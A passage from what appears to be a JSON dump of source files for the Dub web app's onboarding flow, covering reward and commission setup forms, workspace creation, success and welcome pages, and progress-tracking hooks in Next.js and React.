{\n    key: \"flat\",\n    label: \"Flat\",\n    description: \"Fixed amount\",\n    mostCommon: false,\n  },\n] as const;\n\nexport function Form() {\n  const { continueTo } = useOnboardingProgress();\n\n  const [hasSubmitted, setHasSubmitted] = useState(false);\n  const { id: workspaceId, mutate } = useWorkspace();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    setValue,\n    formState: { isSubmitting },\n  } = useFormContext<ProgramData>();\n\n  const [type, defaultRewardType, maxDuration] = watch([\n    \"type\",\n    \"defaultRewardType\",\n    \"maxDuration\",\n  ]);\n\n  const [commissionStructure, setCommissionStructure] = useState<\n    \"one-off\" | \"recurring\"\n  >(\"recurring\");\n\n  useEffect(\n    () => setCommissionStructure(maxDuration === 0 ? \"one-off\" : \"recurring\"),\n    [maxDuration],\n  );\n\n  const { executeAsync, isPending } = useAction(onboardProgramAction, {\n    onSuccess: () => {\n      continueTo(\"plan\");\n      mutate();\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = async (data: ProgramData) => {\n    if (!workspaceId) {\n      return;\n    }\n\n    setHasSubmitted(true);\n\n    await executeAsync({\n      ...data,\n      amountInCents:\n        data.amountInCents != null && data.type === \"flat\"\n          ? Math.round(data.amountInCents * 100)\n          : null,\n      amountInPercentage:\n        data.amountInPercentage != null && data.type === \"percentage\"\n          ? data.amountInPercentage\n          : null,\n      workspaceId,\n      step: \"configure-reward\",\n    });\n  };\n\n  return (\n    <form\n      onSubmit={handleSubmit(onSubmit)}\n      className=\"flex flex-col gap-6 px-2\"\n    >\n      <div className=\"grid grid-cols-1 gap-2\">\n        <h2 className=\"text-content-emphasis text-sm font-semibold\">\n          Reward type\n        </h2>\n\n        <div className=\"grid grid-cols-1 gap-3 lg:grid-cols-2\">\n          {DEFAULT_REWARD_TYPES.map(\n            ({ key, label, description, mostCommon }) => {\n              const isSelected = key === defaultRewardType;\n\n              return (\n                <div\n                  key={key}\n                  className={cn(\n                    \"flex flex-col items-center\",\n                    mostCommon &&\n                      \"rounded-md border border-neutral-200 bg-neutral-100\",\n                  )}\n                >\n                  <label\n                    className={cn(\n                      \"relative flex w-full cursor-pointer items-start gap-0.5 rounded-md border border-neutral-200 bg-white p-3 text-neutral-600 hover:bg-neutral-50\",\n                      \"transition-all duration-150\",\n                      mostCommon && \"border-transparent shadow-sm\",\n                      isSelected &&\n                        \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n                    )}\n                  >\n                    <input\n                      type=\"radio\"\n                      value={key}\n                      className=\"hidden\"\n                      checked={isSelected}\n                      onChange={() => {\n                        setValue(\"defaultRewardType\", key, {\n                          shouldDirty: true,\n                        });\n\n                        if (key === \"sale\") {\n                          setValue(\"type\", \"percentage\", {\n                            shouldDirty: true,\n                          });\n                        }\n\n                        if (key === \"lead\") {\n                          setValue(\"type\", \"flat\", { shouldDirty: true });\n                          setValue(\"maxDuration\", 0, { shouldDirty: true });\n                        }\n                      }}\n                    />\n                    <div className=\"flex grow flex-col text-sm\">\n                      <span className=\"text-sm font-semibold text-neutral-900\">\n                        {label}\n                      </span>\n                      <span className=\"text-sm font-normal text-neutral-600\">\n                        {description}\n                      </span>\n                    </div>\n                    <CircleCheckFill\n                      className={cn(\n                        \"-mr-px -mt-px flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                        isSelected && \"scale-100 opacity-100\",\n                      )}\n                    />\n                  </label>\n                  {mostCommon && (\n                    <span className=\"py-0.5 text-xs font-medium text-neutral-500\">\n                      Most common\n                    </span>\n                  )}\n                </div>\n              );\n            },\n          )}\n        </div>\n      </div>\n\n      <div className=\"-m-1\">\n        <AnimatedSizeContainer\n          height\n          transition={{ duration: 0.2, ease: \"easeOut\" }}\n        >\n          <div className=\"flex flex-col gap-6 p-1\">\n            {defaultRewardType === \"sale\" && (\n              <div className=\"space-y-2\">\n                <h2 className=\"text-content-emphasis text-sm font-semibold\">\n                  Commission structure\n                </h2>\n\n                <div className=\"grid grid-cols-1 gap-3 lg:grid-cols-2\">\n                  {COMMISSION_TYPES.map(\n                    ({ value, label, shortDescription }) => {\n                      const isSelected = value === commissionStructure;\n\n                      return (\n                        <div\n                          key={value}\n                          className={cn(\n                            \"flex flex-col items-center\",\n                            value === \"recurring\" &&\n                              \"rounded-md border border-neutral-200 bg-neutral-100\",\n                          )}\n                        >\n                          <label\n                            className={cn(\n                              \"relative flex w-full cursor-pointer items-start gap-0.5 rounded-md border border-neutral-200 bg-white p-3 text-neutral-600 hover:bg-neutral-50\",\n                              \"transition-all duration-150\",\n                              value === \"recurring\" &&\n                                \"border-transparent shadow-sm\",\n                              isSelected &&\n                                \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n                            )}\n                          >\n                            <input\n                              type=\"radio\"\n                              value={value}\n                              className=\"hidden\"\n                              checked={isSelected}\n                              onChange={() => {\n                                if (value === \"one-off\") {\n                                  setCommissionStructure(\"one-off\");\n                                  setValue(\"maxDuration\", 0, {\n                                    shouldValidate: true,\n                                  });\n                                }\n\n                                if (value === \"recurring\") {\n                                  setCommissionStructure(\"recurring\");\n                                  setValue(\"maxDuration\", null, {\n                                    shouldValidate: true,\n                                  });\n                                }\n                              }}\n                            />\n                            <div className=\"flex grow flex-col text-sm\">\n                              <span className=\"text-sm font-semibold text-neutral-900\">\n                                {label}\n                              </span>\n                              <span className=\"text-sm font-normal text-neutral-600\">\n                                {shortDescription}\n                              </span>\n                            </div>\n                            <CircleCheckFill\n                              className={cn(\n                                \"-mr-px -mt-px flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                                isSelected && \"scale-100 opacity-100\",\n                              )}\n                            />\n                          </label>\n                          {value === \"recurring\" && (\n                            <span className=\"py-0.5 text-xs font-medium text-neutral-500\">\n                              Most common\n                            </span>\n                          )}\n                        </div>\n                      );\n                    },\n                  )}\n                </div>\n              </div>\n            )}\n\n            {defaultRewardType === \"sale\" &&\n              commissionStructure === \"recurring\" && (\n                <label className=\"space-y-2\">\n                  <span className=\"block text-sm font-medium text-neutral-800\">\n                    Duration\n                  </span>\n                  <select\n                    {...register(\"maxDuration\", {\n                      setValueAs: (v) => {\n                        if (v === \"\" || v === null) {\n                          return null;\n                        }\n\n                        return parseInt(v);\n                      },\n                    })}\n                    className=\"block w-full rounded-md border border-neutral-300 bg-white py-2 pl-3 pr-10 text-sm text-neutral-900 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500\"\n                  >\n                    <option value=\"\">Lifetime</option>\n                    {RECURRING_MAX_DURATIONS.filter(\n                      (v) => v !== 0 && v !== 1, // filter out one-time and 1-month intervals (we only use 1-month for discounts)\n                    ).map((duration) => (\n                      <option key={duration} value={duration}>\n                        {duration} months\n                      </option>\n                    ))}\n                  </select>\n                </label>\n              )}\n\n            {defaultRewardType === \"sale\" && (\n              <div className=\"space-y-2\">\n                <h2 className=\"text-content-emphasis text-sm font-semibold\">\n                  Payout model\n                </h2>\n                <div className=\"grid grid-cols-1 gap-3 lg:grid-cols-2\">\n                  {PAYOUT_MODELS.map(\n                    ({ key, label, description, mostCommon }) => {\n                      const isSelected = key === type;\n\n                      return (\n                        <div\n                          key={key}\n                          className={cn(\n                            \"flex flex-col items-center\",\n                            mostCommon &&\n                              \"rounded-md border border-neutral-200 bg-neutral-100\",\n                          )}\n                        >\n                          <label\n                            className={cn(\n                              \"relative flex w-full cursor-pointer items-start gap-0.5 rounded-md border border-neutral-200 bg-white p-3 text-neutral-600 hover:bg-neutral-50\",\n                              \"transition-all duration-150\",\n                              mostCommon && \"border-transparent shadow-sm\",\n                              isSelected &&\n                                \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n                            )}\n                          >\n                            <input\n                              type=\"radio\"\n                              value={key}\n                              className=\"hidden\"\n                              checked={isSelected}\n                              onChange={() =>\n                                setValue(\"type\", key, { shouldDirty: true })\n                              }\n                            />\n                            <div className=\"flex grow flex-col text-sm\">\n                              <span className=\"text-sm font-semibold text-neutral-900\">\n                                {label}\n                              </span>\n                              <span className=\"text-sm font-normal text-neutral-600\">\n                                {description}\n                              </span>\n                            </div>\n                            <CircleCheckFill\n                              className={cn(\n                                \"-mr-px -mt-px flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                                isSelected && \"scale-100 opacity-100\",\n                              )}\n                            />\n                          </label>\n                          {mostCommon && (\n                            <span className=\"py-0.5 text-xs font-medium text-neutral-500\">\n                              Most common\n                            </span>\n                          )}\n                        </div>\n                      );\n                    },\n                  )}\n                </div>\n              </div>\n            )}\n\n            <label className=\"space-y-2\">\n              <span className=\"text-content-emphasis block text-sm font-semibold\">\n                {type === \"percentage\" ? \"Percentage\" : \"Amount\"} per{\" \"}\n                {defaultRewardType}\n              </span>\n              <div className=\"relative rounded-md shadow-sm\">\n                <span className=\"absolute inset-y-0 left-0 flex items-center pl-3 text-sm text-neutral-400\">\n                  {type === \"flat\" && \"$\"}\n                </span>\n                <input\n                  className={cn(\n                    \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                    type === \"flat\" ? \"pl-6 pr-12\" : \"pr-7\",\n                  )}\n                  {...register(\n                    type === \"flat\" ? \"amountInCents\" : \"amountInPercentage\",\n                    {\n                      required: true,\n                      valueAsNumber: true,\n                      min: 0,\n                      max: type === \"flat\" ? 1000 : 100,\n                      onChange: handleMoneyInputChange,\n                    },\n                  )}\n                  onKeyDown={handleMoneyKeyDown}\n                />\n                <span className=\"absolute inset-y-0 right-0 flex items-center pr-3 text-sm text-neutral-400\">\n                  {type === \"flat\" ? \"USD\" : \"%\"}\n                </span>\n              </div>\n            </label>\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n\n      <Button\n        text=\"Continue\"\n        className=\"w-full\"\n        loading={isSubmitting || isPending}\n        disabled={hasSubmitted}\n        type=\"submit\"\n      />\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/program/reward/page.tsx",
    "content": "\"use client\";\n\nimport { ProgramOnboardingFormWrapper } from \"@/ui/partners/program-onboarding-form-wrapper\";\nimport { cn } from \"@dub/utils\";\nimport { StepPage } from \"../../step-page\";\nimport { useOnboardingProgram } from \"../use-onboarding-program\";\nimport { Form } from \"./form\";\n\nexport default function ProgramReward() {\n  const { isLoading, formWrapperProps } = useOnboardingProgram();\n\n  return (\n    <StepPage\n      title=\"Create your default reward\"\n      description={\n        <>\n          The default reward offered to your partners.\n          <br />\n          You can change this at any time.\n        </>\n      }\n    >\n      <div\n        className={cn(\n          \"transition-opacity\",\n          isLoading && \"pointer-events-none opacity-50\",\n        )}\n        inert={isLoading}\n      >\n        <ProgramOnboardingFormWrapper\n          key={isLoading ? \"loading\" : \"loaded\"}\n          {...formWrapperProps}\n        >\n          <Form />\n        </ProgramOnboardingFormWrapper>\n      </div>\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/program/use-onboarding-program.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\n\nexport function useOnboardingProgram({ domain }: { domain?: string } = {}) {\n  const { slug, name, logo } = useWorkspace();\n\n  return {\n    isLoading: slug === undefined,\n    formWrapperProps: {\n      defaultValues: {\n        name: name ?? undefined,\n        logo: logo ?? undefined,\n        domain,\n        maxDuration: 12,\n      },\n    },\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/step-page.tsx",
    "content": "import { Icon } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Crown } from \"lucide-react\";\nimport { PropsWithChildren, ReactNode } from \"react\";\n\nexport function StepPage({\n  children,\n  title,\n  description,\n  paidPlanRequired,\n  badge,\n  className,\n}: PropsWithChildren<{\n  title: ReactNode;\n  description: ReactNode;\n  paidPlanRequired?: boolean;\n  badge?: {\n    icon: Icon;\n    label: string;\n  };\n  className?: string;\n}>) {\n  const BadgeIcon = badge?.icon ?? Crown;\n\n  return (\n    <div\n      className={cn(\n        \"mx-auto flex w-full max-w-sm flex-col items-center\",\n        \"animate-slide-up-fade [--offset:10px] [animation-duration:1s] [animation-fill-mode:both]\",\n        className,\n      )}\n    >\n      {Boolean(badge || paidPlanRequired) && (\n        <div className=\"mb-3 flex items-center gap-2 rounded-full border border-neutral-200 bg-neutral-100 px-2.5 py-0.5 text-xs font-medium text-neutral-600\">\n          <BadgeIcon className=\"size-3\" />\n          {badge?.label ?? \"Paid plan required\"}\n        </div>\n      )}\n      <h1 className=\"text-center text-xl font-semibold\">{title}</h1>\n      <div className=\"mt-2 text-balance text-center text-base text-neutral-500\">\n        {description}\n      </div>\n      <div className=\"mt-8 w-full\">{children}</div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/success/page-client.tsx",
    "content": "\"use client\";\n\nimport { DIRECT_DEBIT_PAYMENT_METHOD_TYPES } from \"@/lib/constants/payouts\";\nimport useDomains from \"@/lib/swr/use-domains\";\nimport usePaymentMethods from \"@/lib/swr/use-payment-methods\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { useAnalyticsConnectedStatus } from \"@/ui/analytics/use-analytics-connected-status\";\nimport { MarkdownDescription } from \"@/ui/shared/markdown-description\";\nimport {\n  BlurImage,\n  Book2,\n  Button,\n  Check2,\n  CircleQuestion,\n  ConnectedDots4,\n  CursorRays,\n  Globe,\n  GreekTemple,\n  Hyperlink,\n  LinesY,\n  LoadingSpinner,\n  Msg,\n  Plug2,\n  Users,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useOnboardingProgress } from \"../../use-onboarding-progress\";\n\nexport function SuccessPageClient({\n  workspace,\n}: {\n  workspace: Pick<\n    WorkspaceProps,\n    \"name\" | \"slug\" | \"logo\" | \"defaultProgramId\"\n  >;\n}) {\n  const { loading: isLoadingWorkspace } = useWorkspace();\n\n  const { finish, isLoading, isSuccessful } = useOnboardingProgress();\n\n  const hasProgram = Boolean(workspace.defaultProgramId);\n\n  const { allWorkspaceDomains, loading: isLoadingDomains } = useDomains();\n  const connectedDomain = Boolean(allWorkspaceDomains?.length);\n\n  const { isConnected: connectedAnalytics } = useAnalyticsConnectedStatus();\n  const { paymentMethods, loading: isLoadingPaymentMethods } =\n    usePaymentMethods({\n      enabled: hasProgram,\n    });\n  const connectedBankAccount = paymentMethods?.some((pm) =>\n    DIRECT_DEBIT_PAYMENT_METHOD_TYPES.includes(pm.type),\n  );\n\n  return (\n    <div className=\"mx-auto flex w-full max-w-sm flex-col items-center pb-10\">\n      <div\n        className={cn(\n          \"flex flex-col items-center\",\n          \"animate-slide-up-fade [--offset:10px] [animation-duration:1s] [animation-fill-mode:both]\",\n        )}\n      >\n        {workspace.logo && (\n          <div className=\"relative mb-5\">\n            <BlurImage\n              src={workspace.logo}\n              alt=\"workspace logo\"\n              className=\"size-24 rounded-full\"\n              width={96}\n              height={96}\n            />\n            <div className=\"absolute -bottom-1 -right-1 flex size-7 items-center justify-center rounded-full bg-green-400 ring-4 ring-white\">\n              <Check2 className=\"size-4 text-green-800\" />\n            </div>\n          </div>\n        )}\n        <h1 className=\"text-pretty text-center text-xl font-semibold\">\n          The {workspace.name} workspace has been created\n        </h1>\n        <MarkdownDescription className=\"mt-2 text-pretty text-center text-base text-neutral-500\">\n          {hasProgram\n            ? \"Now you can manage your [partner program](https://dub.co/partners) and [short links](https://dub.co/links) all in one place\"\n            : \"Now you have one central, organized place to create and [manage all your short links](https://dub.co/help/category/link-management).\"}\n        </MarkdownDescription>\n        <div className=\"mt-4 w-full\">\n          <Button\n            onClick={() => finish({ hasProgram })}\n            loading={isLoading || isSuccessful}\n            text=\"Go to your dashboard\"\n            className=\"h-9 rounded-lg\"\n          />\n        </div>\n      </div>\n\n      <div\n        className={cn(\n          \"mt-8 flex w-full max-w-[400px] flex-col gap-3\",\n          \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:250ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n        )}\n      >\n        <h3 className=\"text-content-emphasis font-semibold\">Complete setup</h3>\n\n        <div className=\"divide-border-subtle border-border-subtle bg-bg-muted flex flex-col divide-y overflow-hidden rounded-lg border\">\n          {[\n            {\n              icon: Globe,\n              title: \"Connect domain\",\n              description: \"Claim a free domain or connect your own\",\n              href: `/${workspace.slug}/settings/domains`,\n              cta: connectedDomain ? \"Manage\" : \"Connect\",\n              loading: isLoadingDomains,\n              complete: Boolean(allWorkspaceDomains?.length),\n            },\n            ...(hasProgram\n              ? [\n                  {\n                    icon: ConnectedDots4,\n                    title: \"Create a program\",\n                    description: \"Set up your Dub partner program\",\n                    href: `/${workspace.slug}/program`,\n                    cta: \"Manage\",\n                    complete: true,\n                  },\n                  {\n                    icon: Plug2,\n                    title: \"Set up conversion tracking\",\n                    description: \"Install the Dub tracking script\",\n                    href: `/${workspace.slug}/settings/tracking`,\n                    cta: \"Install\",\n                    loading: isLoadingWorkspace,\n                    complete: connectedAnalytics,\n                  },\n                  {\n                    icon: GreekTemple,\n                    title: \"Connect bank account\",\n                    description: \"Connect a bank account for payouts\",\n                    href: `/${workspace.slug}/program/payouts`,\n                    cta: \"Connect\",\n                    loading: isLoadingWorkspace || isLoadingPaymentMethods,\n                    complete: connectedBankAccount,\n                  },\n                ]\n              : [\n                  {\n                    icon: Hyperlink,\n                    title: \"Create a short link\",\n                    description: \"Create your first Dub short link\",\n                    href: `/${workspace.slug}/links?newLink=true`,\n                    cta: \"Create\",\n                  },\n                  {\n                    icon: LinesY,\n                    title: \"Explore analytics\",\n                    description: \"View clicks and performance data\",\n                    href: `/${workspace.slug}/analytics`,\n                    cta: \"View\",\n                  },\n                  {\n                    icon: CursorRays,\n                    title: \"Explore events\",\n                    description: \"View events for your short links\",\n                    href: `/${workspace.slug}/events`,\n                    cta: \"View\",\n                  },\n                ]),\n          ].map(\n            ({\n              icon: Icon,\n              title,\n              description,\n              href,\n              cta,\n              loading,\n              complete,\n            }) => (\n              <div\n                key={href}\n                className={cn(\n                  \"flex items-center justify-between gap-2 px-2.5 py-2\",\n                  complete && \"bg-black/[0.02]\",\n                )}\n              >\n                <div className=\"flex min-w-0 items-center gap-2\">\n                  <div\n                    className={cn(\n                      \"flex size-8 items-center justify-center rounded-md bg-black/5\",\n                      complete && \"bg-green-400\",\n                    )}\n                  >\n                    {loading ? (\n                      <LoadingSpinner className=\"size-4\" />\n                    ) : complete ? (\n                      <Check2 className=\"size-4 text-green-800\" />\n                    ) : (\n                      <Icon className=\"size-4\" />\n                    )}\n                  </div>\n                  <div\n                    className={cn(\n                      \"min-w-0\",\n                      (loading || complete) && \"opacity-60\",\n                    )}\n                  >\n                    <div className=\"text-content-default text-sm font-medium\">\n                      {title}\n                    </div>\n                    <p className=\"text-content-subtle truncate text-xs font-medium\">\n                      {description}\n                    </p>\n                  </div>\n                </div>\n\n                <Link\n                  href={href}\n                  target=\"_blank\"\n                  className=\"border-subtle bg-bg-default hover:bg-bg-muted flex h-7 items-center rounded-lg border px-2.5 text-sm font-medium transition-transform active:scale-[0.98]\"\n                >\n                  {cta}\n                </Link>\n              </div>\n            ),\n          )}\n        </div>\n      </div>\n\n      <div\n        className={cn(\n          \"mt-8 flex w-full max-w-[400px] flex-col gap-3\",\n          \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:250ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n        )}\n      >\n        <h3 className=\"text-content-emphasis font-semibold\">\n          Additional resources\n        </h3>\n\n        <div className=\"divide-border-subtle border-border-subtle bg-bg-muted flex flex-col divide-y rounded-lg border\">\n          {[\n            {\n              icon: Users,\n              title: \"Team members\",\n              description: \"Invite and manage team members\",\n              href: `/${workspace.slug}/settings/members`,\n              cta: \"Invite\",\n            },\n            {\n              icon: CircleQuestion,\n              title: \"Help center\",\n              description: \"Answers to your questions\",\n              href: \"https://dub.co/help\",\n              cta: \"Read\",\n            },\n            {\n              icon: Book2,\n              title: \"Docs\",\n              description: \"Platform documentation\",\n              href: \"https://dub.co/docs\",\n              cta: \"Learn\",\n            },\n            {\n              icon: Msg,\n              title: \"Support\",\n              description: \"Product support or help requests\",\n              href: \"https://dub.co/contact/support\",\n              cta: \"Chat\",\n            },\n          ].map(({ icon: Icon, title, description, href, cta }) => (\n            <div\n              key={href}\n              className=\"flex items-center justify-between gap-2 px-2.5 py-2\"\n            >\n              <div className=\"flex min-w-0 items-center gap-2\">\n                <div className=\"flex size-8 items-center justify-center rounded-md bg-black/5\">\n                  <Icon className=\"size-4\" />\n                </div>\n                <div className=\"min-w-0\">\n                  <div className=\"text-content-default text-sm font-medium\">\n                    {title}\n                  </div>\n                  <p className=\"text-content-subtle truncate text-xs font-medium\">\n                    {description}\n                  </p>\n                </div>\n              </div>\n\n              <Link\n                href={href}\n                target=\"_blank\"\n                className=\"border-subtle bg-bg-default hover:bg-bg-muted flex h-7 items-center rounded-lg border px-2.5 text-sm font-medium transition-transform active:scale-[0.98]\"\n              >\n                {cta}\n              </Link>\n            </div>\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/success/page.tsx",
    "content": "import { getSession } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { redirect } from \"next/navigation\";\nimport { SuccessPageClient } from \"./page-client\";\n\nexport default async function SuccessPage({\n  searchParams,\n}: {\n  searchParams: Promise<{ workspace: string }>;\n}) {\n  const { workspace: slug } = await searchParams;\n  if (!slug) redirect(\"/onboarding\");\n\n  const { user } = await getSession();\n\n  const workspace = await prisma.project.findUnique({\n    select: {\n      slug: true,\n      name: true,\n      logo: true,\n      defaultProgramId: true,\n    },\n    where: {\n      slug,\n      users: {\n        some: {\n          userId: user.id,\n        },\n      },\n    },\n  });\n  if (!workspace) redirect(\"/onboarding\");\n\n  return <SuccessPageClient workspace={workspace} />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/workspace/form.tsx",
    "content": "\"use client\";\n\nimport { CreateWorkspaceForm } from \"@/ui/workspaces/create-workspace-form\";\nimport { useOnboardingProgress } from \"../../use-onboarding-progress\";\n\nexport function Form() {\n  const { continueTo } = useOnboardingProgress();\n\n  return (\n    <CreateWorkspaceForm\n      className=\"w-full\"\n      onSuccess={({ slug }) => {\n        continueTo(\"products\", { slug });\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/(steps)/workspace/page.tsx",
    "content": "import { StepPage } from \"../step-page\";\nimport { Form } from \"./form\";\n\nexport default function Workspace() {\n  return (\n    <StepPage\n      title=\"Create your workspace\"\n      description={\n        <>\n          Your shared space for links, partners, and your team.{\" \"}\n          <a\n            href=\"https://dub.co/help/article/what-is-a-workspace\"\n            target=\"_blank\"\n            className=\"cursor-help font-medium underline decoration-dotted underline-offset-2 transition-colors hover:text-neutral-700\"\n          >\n            Learn more.\n          </a>\n        </>\n      }\n    >\n      <Form />\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/later-button.tsx",
    "content": "\"use client\";\n\nimport { OnboardingStep } from \"@/lib/onboarding/types\";\nimport { LoadingSpinner } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\nimport { useOnboardingProgress } from \"./use-onboarding-progress\";\n\nexport function LaterButton({\n  next,\n  className,\n  children,\n}: PropsWithChildren<{ next: OnboardingStep; className?: string }>) {\n  const { continueTo, isLoading, isSuccessful } = useOnboardingProgress();\n\n  return (\n    <button\n      type=\"button\"\n      onClick={() => continueTo(next)}\n      className={cn(\n        \"mx-auto flex w-fit items-center gap-2 text-center text-sm font-medium text-neutral-800 transition-colors enabled:hover:text-neutral-950\",\n        className,\n      )}\n      disabled={isLoading || isSuccessful}\n    >\n      <LoadingSpinner\n        className={cn(\n          \"size-3 transition-opacity\",\n          !(isLoading || isSuccessful) && \"opacity-0\",\n        )}\n      />\n      {children || \"I'll do this later\"}\n      <div className=\"w-3\" />\n    </button>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/next-button.tsx",
    "content": "\"use client\";\n\nimport { OnboardingStep } from \"@/lib/onboarding/types\";\nimport { Button, ButtonProps } from \"@dub/ui\";\nimport { useOnboardingProgress } from \"./use-onboarding-progress\";\n\nexport function NextButton({\n  step,\n  ...rest\n}: { step: OnboardingStep } & ButtonProps) {\n  const { continueTo, isLoading, isSuccessful } = useOnboardingProgress();\n\n  return (\n    <Button\n      variant=\"primary\"\n      text=\"Next\"\n      onClick={() => continueTo(step)}\n      loading={isLoading || isSuccessful}\n      {...rest}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/use-onboarding-product.ts",
    "content": "\"use client\";\n\nimport { useSearchParams } from \"next/navigation\";\nimport { useMemo } from \"react\";\n\nexport const ONBOARDING_PRODUCTS = [\"links\", \"partners\"] as const;\nexport type OnboardingProduct = (typeof ONBOARDING_PRODUCTS)[number];\n\nexport function useOnboardingProduct(): OnboardingProduct {\n  const searchParams = useSearchParams();\n  const param = searchParams.get(\"product\");\n\n  return useMemo(\n    () => ONBOARDING_PRODUCTS.find((p) => p === param) || \"links\",\n    [param],\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/use-onboarding-progress.ts",
    "content": "import { setOnboardingProgress } from \"@/lib/actions/set-onboarding-progress\";\nimport { OnboardingStep } from \"@/lib/onboarding/types\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport { useCallback } from \"react\";\nimport { toast } from \"sonner\";\nimport { useOnboardingProduct } from \"./use-onboarding-product\";\n\nconst PRE_WORKSPACE_STEPS = [\"workspace\"];\n\nexport function useOnboardingProgress() {\n  const router = useRouter();\n  const searchParams = useSearchParams();\n  const { slug: workspaceSlug } = useWorkspace();\n  const slug = workspaceSlug || searchParams.get(\"workspace\");\n  const product = useOnboardingProduct();\n\n  const { execute, executeAsync, isPending, hasSucceeded } = useAction(\n    setOnboardingProgress,\n    {\n      onSuccess: () => {\n        console.log(\"Onboarding progress updated\");\n      },\n      onError: ({ error }) => {\n        toast.error(\"Failed to update onboarding progress. Please try again.\");\n        console.error(\"Failed to update onboarding progress\", error);\n      },\n    },\n  );\n\n  const continueTo = useCallback(\n    async (\n      step: OnboardingStep,\n      {\n        slug: providedSlug,\n        params,\n      }: { slug?: string; params?: Record<string, string> } = {},\n    ) => {\n      execute({\n        onboardingStep: step,\n      });\n\n      const queryParams = new URLSearchParams({\n        ...(product && [\"links\", \"partners\"].includes(product)\n          ? { product }\n          : {}),\n        ...(params || {}),\n        ...(PRE_WORKSPACE_STEPS.includes(step)\n          ? {}\n          : { workspace: (providedSlug || slug)! }),\n      });\n\n      router.push(`/onboarding/${step}?${queryParams}`);\n    },\n    [execute, router, slug, product],\n  );\n\n  const finish = useCallback(\n    async ({ hasProgram }: { hasProgram?: boolean } = {}) => {\n      await executeAsync({\n        onboardingStep: \"completed\",\n      });\n\n      router.push(slug ? (hasProgram ? `/${slug}/program` : `/${slug}`) : \"/\");\n    },\n    [executeAsync, router, slug],\n  );\n\n  return {\n    continueTo,\n    finish,\n    isLoading: isPending,\n    isSuccessful: hasSucceeded,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(onboarding)/onboarding/welcome/page.tsx",
    "content": "import { NewBackground } from \"@/ui/shared/new-background\";\nimport { Wordmark } from \"@dub/ui\";\nimport { cn } from \"@dub/utils/src\";\nimport { NextButton } from \"../next-button\";\nimport TrackSignup from \"./track-signup\";\n\nexport default function Welcome() {\n  return (\n    <>\n      <TrackSignup />\n      <NewBackground showAnimation showGradient={false} />\n      <div className=\"relative flex min-h-[100dvh] min-h-screen flex-col items-center justify-center\">\n        <div className=\"flex max-w-sm flex-col items-center px-4 py-16 text-center\">\n          <div className=\"animate-slide-up-fade relative flex w-auto items-center justify-center px-6 py-2 [--offset:20px] [animation-duration:1.3s] [animation-fill-mode:both]\">\n            <Gradient className=\"opacity-10 mix-blend-overlay\" />\n            <Wordmark className=\"relative h-24 sm:h-36\" />\n            <Gradient className=\"opacity-50 mix-blend-hard-light\" />\n          </div>\n          <h1 className=\"animate-slide-up-fade mt-14 text-xl font-semibold text-neutral-900 [--offset:10px] [animation-delay:250ms] [animation-duration:1s] [animation-fill-mode:both]\">\n            Welcome to Dub\n          </h1>\n          <p className=\"animate-slide-up-fade mt-2 text-balance text-base text-neutral-500 [--offset:10px] [animation-delay:500ms] [animation-duration:1s] [animation-fill-mode:both]\">\n            Dub gives you superpowers to track how your marketing efforts\n            convert to revenue.\n          </p>\n          <div className=\"animate-slide-up-fade mt-8 w-full [--offset:10px] [animation-delay:750ms] [animation-duration:1s] [animation-fill-mode:both]\">\n            <NextButton text=\"Get started\" step=\"workspace\" />\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n\nfunction Gradient({ className }: { className?: string }) {\n  return (\n    <div\n      className={cn(\n        \"absolute inset-y-0 left-1/2 aspect-square -translate-x-1/2\",\n        className,\n      )}\n    >\n      <div className=\"size-full -scale-x-[1.8] 